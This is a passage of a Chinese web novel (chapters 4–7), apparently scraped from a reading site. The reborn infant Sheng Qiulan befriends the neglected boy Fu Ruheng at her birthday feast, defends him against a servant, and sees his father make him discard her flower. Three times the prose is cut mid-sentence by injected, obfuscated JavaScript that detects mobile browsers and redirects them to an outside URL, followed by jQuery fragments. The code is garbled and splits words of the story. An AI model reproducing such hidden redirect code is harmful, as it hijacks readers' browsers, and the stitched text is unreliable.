要走了吗?他迷迷糊糊地想。
火星从画像底部窜上来,逐渐烧掉了一整张纸,只留下灰烬。
强烈的火光让傅如珩眯起眼睛,等他察觉过来的时候,才发现自己浑身都在发抖。
男人一把用手上的布裹住了他,严严实实地拢起来,尤其是他的脸。
温暖传递过来,傅如珩控制不住地想要闭上眼睛,卸下最后一点防备,陷入沉睡之中。
4. 赠花
再睁眼时,就已经到了侯府中。
傅如珩身上的衣服已经换了一套,虽然样式普通,但胜在保暖得体。
再之后就是先前的回忆。
把他带过来的男人站在书房门口敲了敲门,傅如珩小心地跟在后面,手指捏着衣服一角。
里面传来威严的声音:“进来。”
中年男人走进去,恭敬地说:“侯爷,这就是那个小孩。”
原来他的父亲一直在找他吗?
傅如珩不是没有听过府中下人们的私下闲聊,他们说他是侯爷在外面搞出来的,之后才被接入了府中。
至于他的娘亲,指不定是在哪个酒楼或是青楼里面,侯爷不接回来是因为怕坏了名声。
这是傅如珩被接回来后第一次发火,先前的忍让被击溃,话语传入耳中,化作尖锐的刺,搅得鲜血淋漓。
他冷冷地看了说闲话的仆从一眼,他们被吓了一跳,漆黑的墨瞳很深,如同孕育着风暴,一时间没敢再开口。
被一个两岁多的小孩吓住听起来太过丢脸,说闲话的人很快又放松下来。
虽然在背后说主家的事情是他们的错,但这段时间傅如珩的境况显而易见,侯爷根本不在意这个从外面带回来的庶子。
何况他们说的也不算假。
傅如珩先前经历过颠沛流离,终于拥有了亲人,虽然侯府中过得不算如意,但还是尽量地听从每一个要求。
所以在父亲对他提出去侍郎府庆贺的要求之后,他乖乖跟在了管事身后。
明明是一齐踏入院门,只是年龄尚小,管事又没有刻意慢下脚步等他,在慌忙之中一时不察摔了跤,抬眼就已经没有了人影。
侯府和侍郎府在同一条街中,刚好正对着,傅如珩虽然每天经过大门,但这还是第一次来到府中,不清楚内部的布局。
他不敢贸然回去,怕被侯爷责罚,只能四处乱走,结果就误入到花园之中。
徘徊之际,他见到了被众人簇拥着抱在怀里的盛秋阑。
看到襁褓的那一刻,傅如珩意识到这是父亲口中的主角,不过仅仅是一眼,下一秒他就被碧云发现,送到了门口。
管事来时手中拿着的礼品已经没有了,即便看见消失了一段时间的傅如珩被送出来,表情也没有变化,冲着侍郎府中招待的人一笑,没有多做解释。
他的态度在一定程度上也是侯府的态度,能够在大户人家做工的都心知肚明,见到这一幕,几乎都清楚了这位侯府公子的地位。
侯府人多,光是小妾就纳了不少,多出个这般大的孩子也不算个稀奇事,所以大家也只是以为这是哪个不受宠的小妾新生下来的孩子。
不过就算不受宠,这种身边连个跟着的侍从都没有的也是少见,何况还这么小,跟在后面都需要小跑两步。
好歹也是先皇钦点的侯府,对待亲生子竟是这种态度。
侯府世子飞扬跋扈的名声远扬,看上去像是两个极端。
位于京城脚下的高门官家,朝中风云涌动,这种龌龊根本不算什么,唏嘘过后便不再放在心上。
侍郎府的大门被关上,管事原先露出的笑容一收,望着身后的孩子,无波无澜:“侍郎家生了个千金,你以后与她打好关系。主家收容你可不是让你吃白饭的,对外你的身份是侯府少爷,自然也代表了主家的颜面。”
从那一刻,傅如珩就隐隐感觉到了这次让他来的目的并不单纯。
小孩子记不住事,他对于先前的记忆已经忘却得差不多,但他在别人的施舍下熬过一段时间,对人的言语和行为都变得敏感。
莫名之间,他感觉到这句话背后有其他深意。
——而且和对面新出生的千金有关。
傅如珩没有询问更多,被收留之后,他最先知道的一件事就是不要多问。
只是在跟上管事脚步之前,他回头望了紧闭的朱红大门一眼。
“叮铃。”
一道小小的身影闯入眼中,一身绯红色襦裙,裙身上用金线绣着各种图案,跑起来如同跳跃的金片,襦裙外面套着一件白色绒毛马甲,手腕上套着的各种手镯在移动中碰撞,发出清脆的响声。
傅如珩见这个装扮,就知道这是今天宴会的主角。
一年前匆匆一眼瞥见的人长得很快,虽然个子不高,但是好像浑身都有无限的精力,裙摆在活动当中被风吹起,丝毫不担心自己会摔倒。
她的身后跟着好几个丫鬟,不住地喊着“慢一点”,但女孩本人看上去一点都没有在意,偷偷拽了一下裙摆,似乎是在嫌弃长裙妨碍了自己。
傅如珩目光沉沉,面无表情地看着这一幕,在心中评价。
一看就是在宠爱当中长大的娇娇小姐。
可能是因为管事先前的话,连带着对这个只谋面一次的千金都没有什么好感,下意识想要远离。
盛秋阑在一边的低矮乔木当中停下来,这是专门从南方移植过来的一片茶树。
正值早茶花开放的季节,栽种下来的品种都较为名贵,她视线搜寻了半天,最后落在中间的淡粉色花朵上。
不同于常见的品种,这个品类的茶花花瓣重重叠叠,看上去像是有几十多片,但丝毫不显得杂乱,最外面一层的花瓣开得极大,中间微微收拢,包裹着花蕊。
虽然在刻意控制下,茶树并没有长得很高,但是盛秋阑此时只是一个一米都不到的小团子,即使向上蹦也差了好些距离。
她熟练地朝身后的迎春张开怀抱:“抱我。”
迎春无奈:“小姐想要的话让奴婢剪下来几支就好,何必每次都亲自动手。”
话虽如此,她从小跟着盛秋阑,知道她平时好说话,但是在某些事情上会很倔,能自己动手就不会让她们来。
迎春最后还是把她抱了起来,盛秋阑对着满树粉红挑拣了半天,终于选出了几株好看的。
花的枝梗很硬,徒手掰不下来,最后还是让丫鬟们帮忙用剪刀剪下来的。
盛秋阑如同监工一样,眼睛一眨不眨地看着剪刀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904864|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“对,那个。”
看到自己指定的几株花都被塞在怀里,需要两只手才能捧住,她露出一抹笑,唇角浮现出两个浅浅的梨涡:“谢谢。”
谁遇见这种表情都不忍心再说些什么了,碧云整理了一下她有些凌乱的裙摆:“需要奴婢把花插入瓶中吗?”
盛秋阑刚想点头,余光却看见一个穿着浅蓝袖衫的身影,少年相比起一年前长开了许多,模样也变了些许,但是她还是一眼就认出了来人。
毕竟长得这么好看的人也不多见,而且周身的气度也无法掩盖。
“不用了!”
盛秋阑跌跌撞撞地往那个方向跑过去,她平时走两步还行,但还是第一次表现出这么着急的样子,两条腿有些不听使唤,好似下一秒就会跌倒在地。
万幸傅如珩离她不远,在将将撞到的时候,她及时刹住步子,踉跄了一下站定。
身后的丫鬟吓坏了,赶紧跑过来。
“小姐!”
盛秋阑向她们示意自己没事,转头对着傅如珩一笑,圆圆的杏眼下生着一颗小小的泪痣,仿佛散发着灼眼的光芒。
她在自己怀中的花束中挑了最好看的一支,伸手递给愣住的小男孩。
“花花。”
清浅的花香萦绕在鼻尖,久久不散,傅如珩分不清是因为手中娇艳欲滴的粉花还是拿着花的人散发出来的。
明明刚才跳上跳下折腾了半天,但给出去的时候,盛秋阑没有表现出半分不舍,见傅如珩站在原地,还往前面伸了伸,示意对方赶紧接下来。
这可是她在这个世界遇到的第一个同龄人,自然要打好关系。
傅如珩迟疑地接下花朵,看见女孩笑得更加开心了,他忍不住把目光从手中的花移到那一颗痣上。
一时间,分不清是哪个更加耀眼。
盛秋阑的个子只到傅如珩的胸口,一伸手就能够摸到她的头,最顶上的小辫子直直冲着天空,柔软的发丝微微分开,从上面看就像一朵小花。
放在两边的手指动了动,终究还是忍下了这个想法。
盛秋阑看上去还想要再说些什么,但是碍于表达匮乏,憋了半天也说不出一句完整的话来。
碧云还记得这位侯府公子,她对着傅如珩行了一个礼,转向盛秋阑:“小姐,时辰马上就要到了,我带您去老爷那边吧。”
盛秋阑在正事上还是分得清主次的,闻言乖乖被碧云抱起来,似是想起了什么,冲着身后的人挥挥手:“拜拜。”
她这句话说惯了,府中的人知道这是“再会”的意思,但是傅如珩却是第一次听到这种表达。
盛秋阑看出他面上的茫然,改口道:“下次见。”
这下傅如珩听懂了,他看着对方被抱在怀里,只露出小半个后脑勺,一根辫子突兀地冒出来。
像是翩跹蝴蝶的触角。
“下次见。”
他不知道对方有没有听到,心中突然萌生出后悔。
就应该摸一下那根辫子的。
5. 出头
前厅中宾客皆已入席,户部侍郎从丫鬟手中接过女儿,把盛秋阑放在铺好的绒垫上。
在她的周围,已经放好了各种东西,离得较近的有铜制官玺、黄金小算盘还有狼毫笔,再远一点就是金元宝、玉璧、小弓箭、绣花针……
八仙桌的两边是宾客,全都把目光投向最中间。
盛秋阑坐在桌子上面,往四周看了看,各色衣服在眼前移动,几乎要把路全都堵死了,一眼望去根本找不到人。
她原本还想看看刚交的朋友在哪里呢。
虽然傅如珩没有明说,但是收了她的花,不就是不反感。
不反感不就是喜欢,喜欢就是想要和她做朋友。
这种重要时候,盛秋阑还是有点想要和对方一起见证。
只是听说能够在正厅落座的都是朝中要员和重要亲属,傅如珩刚才还在花园里面,应该不大可能出现。
就算出现了,对方也被淹没在人群里面,按照她现在的身高,肯定是看不见的。
盛秋阑老成地叹了口气,重新把思绪放在面前的东西上。
光是从排布来看,就能知道侍郎夫妇私心想要什么。
盛秋阑从那一个金算盘中扫过,落在它旁边的狼毫笔上。
毕竟是坚持了几年的老本行,她还是对写东西更感兴趣。
说起来,也不知道改完之后的文会得到什么评价。
回想到那一条评论,盛秋阑胸口又有点发闷,但是想到自己现在金库当中满满当当的珠宝和金银,又很快平静下去。
她现在积累下来的财产,已经可以养活自己一辈子了。
什么HR,统统都到一边儿去吧,她现在可是富婆哦。
果然人要是有钱了,看什么都可以心平气和。
只是目前这一点还不够,盛秋阑之前清点过家当,若是要在先太子上位之前带着府中人离开京城,还需要很大一笔钱。
她穿越到这里,却根本不懂什么现代技术,也没来得及看那些精细的机械图纸,唯有自己的老本行还能施展一二。
盛秋阑朝着毛笔的方向走了两步,随即感觉到脚下有些不稳。
怕在众目睽睽之下摔倒丢人,盛秋阑刚想要趴下来,就听到一旁有人感叹。
“侍郎千金居然这么快就学会走路了,真是少见的聪明。”
盛秋阑:“……”
她这该死的自尊心。
为了撑起这份夸赞,盛秋阑不得不改变计划,原本微微弯曲的膝盖挺直,再次往前面走了两步。
她往周围扫了一圈,想看看刚刚是谁发出的声音。
居然采用如此歹毒的战术。
就在这个时候,一个浅蓝的身影挤到庭院回廊的前面,对上盛秋阑的目光。
——正是她在之前还念叨的傅如珩。
对方原本整理得一丝不苟的领口处多了一抹娇嫩的粉色,花瓣在风中被吹起来,又被小心地护住。
盛秋阑眼睛一亮,傅如珩身形有些僵住,不自在地把花往领口处藏了藏,假装什么都没有发生。
只是这一切全都被盛秋阑看在眼底,她没有拆穿,默默打算着之后再用这件事逗逗人。
上好的狼毫笔被抓在手上,笔杆是用黄花梨木制成,手感温润,散发着淡淡的香味。
不管有多么宠爱,作为长辈总希望小辈能够出人头地。
先前见盛秋阑犹犹豫豫,等在最前方的几位不免都有些着急,见她最后拿了毛笔,露出满意的笑容。
宾客们在官场中浮沉多年,自然看得懂主家的脸色,见势开始鼓掌,一声高过一声,伴随着接连不断的夸赞声,好像盛秋阑干了什么了不得的事情。
盛秋阑把手中的笔牢牢握紧,几乎快要遁到地下。
这些话居然是可以面不改色说出来的吗?她再没有自知之明也要被夸得承受不住了。
桌子四周全都被人群堵住了,盛秋阑抬眼往傅如珩先前站着的地方望去,却被挡得严严实实,半分都瞧不见。
她有些郁闷地叹了一口气,毛笔握在手心,下意识转动了一下手指。
没转动。
一岁的手还是太小了,光是握着笔身就有点吃力,暂时还完成不了这种高难度动作,反而差点把手指给绕起来,盛秋阑重新调整了一下姿势,老老实实地握住。
更郁闷了。
接下来是宴会环节,没有她什么事。
盛秋阑从桌子上爬下来,被抱到了后院。
她最近可以吃一些软食,譬如奶糕或者粥,若是想抱着桃子慢慢啃也行,但是长辈们总担心会把牙齿啃坏,严格控制着数量,更别说糖之类的零嘴了。
也就只有二哥下学来看她的时候会带点奶糕,不过只有指甲盖那么大,尝个味儿就没有了。
盛秋阑早膳刚吃了一大块枣糕,现在并不感觉饿,匆匆咽下半碗燕麦粥之后就想下桌到院子里面去。
难得有机会可以见面,她想要去找傅如珩。
内厅靠近庭院,一路能看到不少女眷手挽着手散步。
盛秋阑循着记忆,来到偏厅,这些都是年岁不大的小孩子,为了避免打扰仪式进行,一律聚集在这里由各自的仆从看管。
还没有踏入门口,就听到里面的嘈杂声音,小孩子们的叫喊伴随着时不时的尖叫刺激着耳膜,一旁的仆从已然满头大汗,依旧止不住吵闹。
厅内铺了一层柔软的地毯,上面放着事先准备好的玩具。
考虑到人数较多,府中管事专门选择了一间大厢房来安置,但来的都是朝中有头有脸的官员,一个公子身边就有两三个仆从,看上去仍然稍显拥挤。
盛秋阑有些嫌弃地绕过了一个吃得满脸都是米糊的小孩,往里面张望。
视线在房间里面搜寻了一圈,她很快就找到了目标。
在一群被簇拥着围起来的小孩子里面,角落那一个孤零零的身影显得尤为突出。
傅如珩的身量不算高,与其他一看就被养得白白胖胖的小孩子比起来可以说是瘦小,但就是可以一眼就捕捉到。
明明年岁还很小,但是举止已经成熟,不需要别人在旁边哄着,自己端着碗喝完米粥,还从怀中掏出一个丝绢擦了擦嘴角,远远看过去画面赏心悦目。
他的身边跟着一个穿着普通的人,看装扮是侯府家的仆从,但无论是从表情还是动作当中,都不难看出对方的不耐烦和散漫,与隔壁前呼后拥,围着自己公子千金的人形成强烈对比。
为了确
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904865|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保小孩子们的安全性,所有尖锐和细小的东西都被收起来了,像瓷碗这类易碎的东西更是被小心地收在一边。
看见傅如珩面前的碗空了,仆从动也不动,任由碗放在地上,像是根本不在意瓷片会划伤娇嫩的皮肤。
盛秋阑看得心中突突冒火,她个子虽然小,但硬是做出了一副气势汹汹的样子,往那个地方走去。
紧跟在后面的迎春和碧云赶紧追着,忍不住心生疑惑。
她们何时见过小姐这个样子?
盛秋阑虽然平时被娇宠着,但是脾气却一点都没有被惯坏,不管见到谁都是笑着的,遇见府中的丫鬟和侍卫都会亲近,也从来不会大哭大闹,更别说生气成这样了。
这幅样子不像是去找朋友,更像是去打人。
虽然侍郎可以给盛秋阑底气,但是今天来的大多是同僚,不免有官位更高的,若是惹下了麻烦也不是能够轻易解决的。
这样一想,丫鬟们脸上不免露出担忧的神色,一刻也不敢放松。
盛秋阑身上的镯子还没有脱掉,大步踏起来,叮铃哐啷的声音更响,如同清脆的铃声,吸引了不少小孩子的眼光。
他们虽然年纪尚幼,但也清楚来这里是要庆祝生辰,刚才在抓周的时候被抱出去参加仪式,自然也看到了今天的主角。
在一片素雅的颜色当中,这一抹绯红格外艳丽,刚才还在哭闹的人也默默低下声音,眼角还带着一滴泪水,视线愣愣地随着女孩移动。
在众目睽睽之下,盛秋阑径直走到傅如珩面前。
然后转身,踢了放在地上的碗一脚。
精致的细瓷碗在原地转了两圈。
“啪嗒”碎了。
破碎的瓷片在地上分成好几大块,边缘并不规则,尖锐的角仿佛能轻易将手指刺破。
明明声音并不算大,但是因为刚才那一出,室内很安静,所以这个动静能够听得一清二楚。
迎春脸上的着急更甚,怕盛秋阑一不小心就会踩到碎片上,想要上前收拾,却被阻止了。
盛秋阑的气还没发完,自然不能就这样结束。
她踢的时候找好了角度,碎片不会伤到人,只是视觉效果比较强烈而已。
红色的身影转过来,冲着在傅如珩旁边愣住的仆从抬了抬下巴,语气中满是骄矜:“你,扫。”
那人显然没想到盛秋阑会把矛头对准自己,怔住了。
他清楚自己所伺候的小公子并不受宠,就算有所疏忽也没有人会在意,但是面前这个千金可不一样。
侯府想要和户部侍郎打好关系,这个要求自然不是他一个侍从可以违背的,更何况真论起来,原先就有他的错处。
事情真闹大了,侯爷不可能不管。
府内如何对待归府内,傅如珩在外人看来还是侯府公子,若是其他人知道被他一个下人这样对待,一定会存些心思,相当于打了侯府的脸。
到时候自己能不能继续在府中做事也说不准。
盛秋阑眉心一拧:“没听见吗?”
明明刚才还是话都说不完整的样子,这句却异常清晰,配合上表情,好像下一秒就会踹上来。
原本还在看热闹的其他孩子身子一抖。
好,好凶。
6. 再见
经过这一出,侧厅中最后剩下的一点声音都没有了,生怕下一个火就会烧到自己身上。
盛秋阑双臂抱胸,她刚刚站累了,现在坐在旁边的凳子上,晃着两条腿,监督着那个仆从清理碎片。
“那边,对。”
傅如珩已经被她从地上拉起来,两个人并排坐着,他微微偏头,看着身边的女孩。
对方像是特地来为他壮大气势的,不但自己要坐在高脚凳上,还特意让人从旁边的厢房中搬了一把过来,让他也坐上去。
借着这个高度,他们几乎可以俯视跪坐着清理的仆从。
傅如珩其实并不在意,这个人是从他入府一来就被安排过来的,原先还恭恭敬敬,但是时间一长,看到主家自从把他带过来之后没有过问,态度也变得散漫起来。
府中给下人的银钱是固定的,但要是运气好,能够另外得到赏钱,所以仆从都会选择到世子那儿去做事。
这个下人本来打着小算盘,这是侯爷在外面欠下的风流债,想必也是看重的,不然不会光明正大的带到府中。
一夜之欢的事情多了,哪能够每个都带回来?
他主动请缨想要照顾,没想到却是这种情况。
世子自从傅如珩入府之后就时不时过来打压一下,找着各种借口挑剔。
原本就没有多少东西的厢房,被找了几次茬之后又搬出去不少物件,略为狭小的房间里面空荡,几乎只剩下了一张小桌子和木床。
傅如珩自己都没有银钱,更何况给一个侍从。
这下是一丁点油水都捞不到了。
因为这个,他到后来就敷衍起来,连表面样子都不愿意做,总归这位侯府公子平日里不怎么开口,也不会去状告。
没想到却在这里碰上个硬茬。
这位侍郎府的千金好像认准了他,别的地方一眼都不看,从进门开始就往这个方向走过来,然后闹了这一出。
这是侍郎府捧在手心上的千金,仆从再怎么不爽也不敢违抗,依言拿着抹布在地上擦拭着。
盛秋阑看着所有的碎片都被放在托盘上,零落地散着,略有些可惜地多看了两眼。
这可都是银钱买来的啊,管事昨日新置办,才用过一次就碎了。
擦拭完地面,仆从没敢立刻起来,维持着跪坐的姿势,惴惴不安地等待着剩下的发落。
没想到大小姐没有再提出其他的要求,就这样放过了他:“行了。”
盛秋阑难得装了一次恶人,狠狠过了一把耍威风的瘾,就此收手。
她休息够了,拽着傅如珩的手一把跳下了高脚凳。
凳子的高度比她的身高还要高出些许,刚刚在坐在凳子上,脚都碰不上地面,若是角度不对很容易崴脚。
身后护着的人一声低呼:“小姐!”
盛秋阑稳稳落地,冲着身后的丫鬟吐了一下舌头,随即拉着傅如珩出了门。
那群小孩还呆呆地站在原地,见两人走过来,他们不自觉留出了一条道路,看着女孩脚下步子飞快,红色的裙摆翻飞,如同火红的花。
快要踏出门槛的时候,盛秋阑似是想起了什么:“你们,寄几,玩。”
她就不陪着了。
小豆丁们齐齐点头,生怕应晚了。
有些年纪稍小还听不懂话的人,看了看周围人的动作,也跟着傻傻点头。
放眼望去非常和谐。
盛秋阑满意地转身,带着傅如珩来到了花园后方。
这一处相比起其他地方没有那么多人,她毫无形象地坐在草坪上面,拍了拍身边的空位:“坐!”
这时候的草已经变得枯黄,虽然经过修剪,但是还是会有不少掉落的碎屑,就在她抬手的时候,傅如珩就看见了不少草碎粘在手心上面。
他迟疑片刻,还是坐下来了。
下面的泥土微微发硬,手中的触感陌生,一抬起手看到满手的枯黄碎屑。
盛秋阑看到他的动作,传授自己的经验:“起来,拍,就好了。”
一小句话被说得七零八碎,比比划划地让对方理解完,她已经累到了,幽幽地叹了一口气。
这身体还是太小了,也不知道什么时候能长大。
喘了两口气,盛秋阑继续比划:“下次他再这样,你来找我。”
她这一次只是想要威慑一下对方,所以才这么轻易就放过了,经此一遭,那仆从应该也不敢太放肆了。
傅如珩没有拒绝也没有答应,他想要去摸自己的领口,但是看到旁边瘫坐着的人,又放下了手。
一声轻微的“咕咕”声从身边传来,盛秋阑捂了捂肚子,杏眼亮晶晶地转向他。
“你有没有吃的?”
傅如珩摸了摸口袋,在左侧找到了一个用油纸包裹着的奶糕。
这是昨日侯府的厨娘塞给他的,这种零嘴的分量都有限额,大多被送到了世子房中,剩下的才轮到其他孩子,即便这样,多多少少也能分到几颗。
唯有他的寝房,被默契地忽略了。
厨娘见他可怜,在他去膳房的时候塞了一小块。
傅如珩没舍得一下子吃完,找了一张油纸包裹住,大抵是没有来得及拿出来,就一直放在口袋里面。
奶糕外面用油纸叠得整整齐齐,看到里面东西的时候,盛秋阑眼睛亮了一瞬。
“给我吗?”
傅如珩把东西放在她的手心上,默认了这个问句。
奶糕不大,一口就能塞下去,外面裹着一层奶粉,在嘴里面含一会儿变得软乎乎的,中间还夹杂着莓果干。
盛秋阑声音有些含糊:“等我长大一点,来找你玩好不好?”
娘亲担心她的安全,只在过年的时候带她出去逛了一圈,其他时候就只能在府中。
若是她长大一些,就能够自己出去了。
口中满是香甜的奶味,莓果的酸味很好地中和掉那一股腻味。
盛秋阑有些后悔,早知道就不吃那么快了。
傅如珩察觉到了她眼中的失落,盯着她头顶上的小揪揪看了一会儿,神使鬼差开口:“下次我再给你带。”
“真的吗?太好了,娘亲总是不让我多吃!”
盛秋阑觉得自己新交的朋友真是够义气。
闻言傅如珩又有些后悔:“那如果被发现了,你娘亲不会说你吗?”
盛秋阑狡黠地眨眨眼睛:“那你替我保
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904866|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
密,这是我们之间的秘密。”
明明只是一件小事情,一旦被加上专属的限定称呼,就开始变得不平常起来。
府中千娇百宠长大的千金,竟然会因为一小块奶糕高兴成这样。
油纸上沾着一层奶糕外面的粉,傅如珩用小拇指沾了一点,舔了一口。
粉末很快融化,比他想象中还要甜。
盛秋阑还在旁边说京城有很多地方她没有去过,计划着之后一个个逛过去,傅如珩听着她叭叭叭,产生了一种自己在做梦的错觉。
他身边很少有同龄人这样毫无顾忌地和他坐在一起。
侯府中以世子为中心,其他侧室子也懂得看眼色,全都围在对方身边。
世子看他不顺眼,他们也跟着落井下石,只为了讨好对方,能够在府中过得好些。
不然就会和傅如珩同一个下场。
很多时候世子没有来找麻烦,他们也会自发性地过来,或是抢走什么东西,或是砸碎他的午饭,以此来邀功。
小孩子的恶意纯粹又直接,但总有人会觉得这无伤大雅。
傅如珩突然有些厌倦了,这些事情对他来说就是天方夜谭,但看着身边的人兴致盎然,又舍不得起身,就这样默默地听着。
盛秋阑已经把计划定到了十年之后,游玩的地点也超出了京城,到了南方。
“你有没有去过江南,那边可美了。”
她分明都没有离开过这里,却好像已经亲眼看到了那边的景色,连建筑景色都说得有模有样。
白墙黑瓦、亭台楼阁、湖中画舫……
盛秋阑说嗨了,差点忘记这辈子的自己应该还不知道这些,赶紧找补。
“我在书上看到的。”
似是为了掩饰,她看向傅如珩:“我想亲眼去看看,以后你陪我去吧。”
傅如珩不知道她这个以后是什么时候,盛秋阑现在才满一岁,出于新鲜随口说出的话,可能过了几年就会忘记这个午后约定。
但他还是点下了头,不管怎样,他都会记得。
哪怕只有他记得。
宴会已经接近尾声,刚刚还在偏厅中的小孩被自己的仆从带出来,站到父亲身边。
傅如珩望了望逐渐吵闹的外面,最终还是起身:“我要走了。”
他有些生疏地拍打着自己的衣角,枯草簌簌掉落。
盛秋阑自然也听到了外面的动静,抬手刚想道别,眼尖地看到某处地方。
“等等。”
她用两根手指捏住傅如珩后面的衣服,从上面拿下一根草。
后腰处感觉到被人戳了一下,傅如珩僵硬地站在原地。
“好啦,再见。”
盛秋阑这次没有忘记措辞,规规矩矩地道别。
傅如珩前几次都没有来得及回应,这次终于有机会开口。
“拜拜。”
他还对这个词语有些陌生,说出口的时候带着迟疑,怕自己说错。
盛秋阑微微睁大了眼睛,随即露出笑容,梨涡很明显,语气雀跃:“拜拜拜拜,不过也要再见哦。”
傅如珩把两个字默默重复了一遍。
再见,再次相见。
7. 落花
等到那个身影消失在花园出口,盛秋阑才想起来自己忘了询问最开始想要问的问题。
“这是什么?”
侯府当家人,傅如珩的父亲傅鸿元皱着眉头,望向从花园中走出来的人。
他的视线落在胸口处露出的一抹粉上,娇嫩的花瓣从衣襟处探出来,颤颤巍巍地迎着风。
傅如珩顺着他的目光,低头看见暴露的花朵。
他原先是放在衣领口袋当中,应该是刚才不小心掉出来的。
“衣襟别花,像什么样子?”傅鸿元面容威严,在幼子面前摆出了十成十的样子。
不过他的目的并不在于此,根本没有打算听傅如珩回答,很快就提起了另一个话题:“听说你和盛家千金玩得挺好?”
后院当中的事情很快就传到了他的耳朵,傅鸿元打量着傅如珩,似是在评估某件商品,难得给出了评价。
“挺好,以后多和她接触一下,对侯府有好处。”
傅如珩经过一年,已经渐渐开始意识到某些话中背后的意思,当初的那一种不适感再度袭来。
傅鸿元所传达的意思和管事当初如出一辙,像是早有预谋。
“盛家很重视他们的千金,若是你能和她交好,未来或许能够把侍郎拉到太子阵营当中。”
话说到这里,背后的目的昭然若揭。
脑海中明媚的笑容仿佛都带上了阴影,傅如珩没有立刻回应。
傅鸿元敏锐地察觉到,声音低沉:“听到了吗?”
傅如珩垂下眼睛:“孩儿知晓。”
两人走到侍郎府门口,盛怀德正与宾客们一一道别。
“这位就是侯府公子吧,早先听闻公子名称,只送去薄礼,今日才得以一见。”
傅鸿元拍了拍傅如珩的肩膀,如同平常父子般,完全看不出两人刚才是怎样一番对话。
“侍郎说笑了,小儿和令千金年岁相仿,今日还听闻两人一同玩,日后也能够互相照应。”
听到这话,盛怀德重新认真看向傅如珩。
后院的插曲他有所耳闻,但也听了个囫囵,大抵是盛秋阑在很多人面前摔了个碗,为同伴出头。
他没想到就是傅如珩。
自己的女儿自己了解,从盛秋阑出生开始就表现出了护短的特征,但平时也只是小打小闹,毕竟谁都不会让一个才一岁的小孩子出头。
而且盛秋阑平日中没有多少阶级观念,对别人颐指气使,府中上上下下都喜欢,像今天这样倒还是第一次。
盛怀德能做到户部侍郎,靠的不仅仅是能力,看人也很准。
在他的注视下,傅如珩安安静静地站在原地,如同经历着一场严格的审阅。
内心的不安感越发明显,怀中的茶花梗抵在胸口,异物感明显。
“如此甚好,秋阑每天都在说无趣,公子若是无事可以来作伴。”
傅如珩肩颈微微放松下来,与此同时又产生一种扭曲的阴暗心理。
也是,谁会对一个四岁的孩童产生怀疑呢?
两人又寒暄了几句,傅鸿元带着傅如珩踏出门槛。
傅如珩略落后一步,穿过中间的青石板路,看到了门户顶上的牌匾,用金漆题着“侯府”二字,在阳光下闪闪发光。
他移开目光,守门的仆从早已经打开府门,恭迎着侯爷回来。
傅如珩所住的侧室在宅院角落,与正寝不是同一个方向。
他当时被带来得突然,侯府中年幼的孩子一般随母居住,唯有他的身份尴尬,来不及收拾出一个偏院,就在府中的一个空角落里被安顿下来。
虽然之后有了合适的房间,他也一直没有搬走。
按照平常,傅鸿元说完事情就不会再过多停留,傅如珩在行礼之后等着他离开,没想到却被叫住了。
可能是因为自己这个收养来的孩子很少忤逆,傅鸿元对那一幕耿耿于怀。
他的视线投向傅如珩的衣领,那一抹突兀的颜色已经不见了,被重新藏进衣服当中。
“把花扔了。”
垂落在身边的手指蜷缩了一下,如锋芒在背,灼灼视线停留在胸口,连带着里面的花好像都开始自燃起来。
傅如珩面上没有表露出来,如同之前所表现出的温顺,从暗袋里面拿出那一支茶花。
花瓣上面好像还带着体温,被冷风一吹就消散了。
虽然被小心翼翼地护着,但是花瓣还是不可避免地有些许败落,皱巴巴地向下晃着。
傅如珩垂眸看着已经不再像之前那样娇艳的花,捏着花枝的手指用力,指尖开始泛白,最后无力垂落。
花枝被扔在一旁的树丛当中,原地滚了两圈,最外层的花瓣上面沾上了泥土,变得灰扑扑的,花瓣零落地掉在地上,再也不复先前的摸样。
果然还是不属于他。
傅鸿元终于满意了,往书房走去,没有再看傅如珩一眼。
周围的人早已经习惯这个画面,眼观鼻鼻观心,站在自己的位置上,像是完全看不见站在庭院中的瘦弱男孩。
一阵风吹来,落叶卷着花瓣到了树丛深处,被密密麻麻的树叶遮挡住。
傅如珩最后看了一眼,起步时才感觉自己的双腿都有些发麻,冷意从袖口中钻进去,经过骨髓。
他来到自己的空落庭院中,面前的空地裸露,象征性地围了一圈木头栅栏,当做前院。
原本这边种了一棵小树,看大小不过两年,枝干都还没有开始生长,看样子风一吹就会折掉。
侯府世子傅皓轩在第一次过来时就注意到了这棵树,当场就命令下人拔掉了。
“我看它总归要死的,倒不如现在就不要了,弟弟想必也不会介意吧。”
他口中说的是这棵树,可眼睛却没有从傅如珩身上移开,言语中带着满满的恶意。
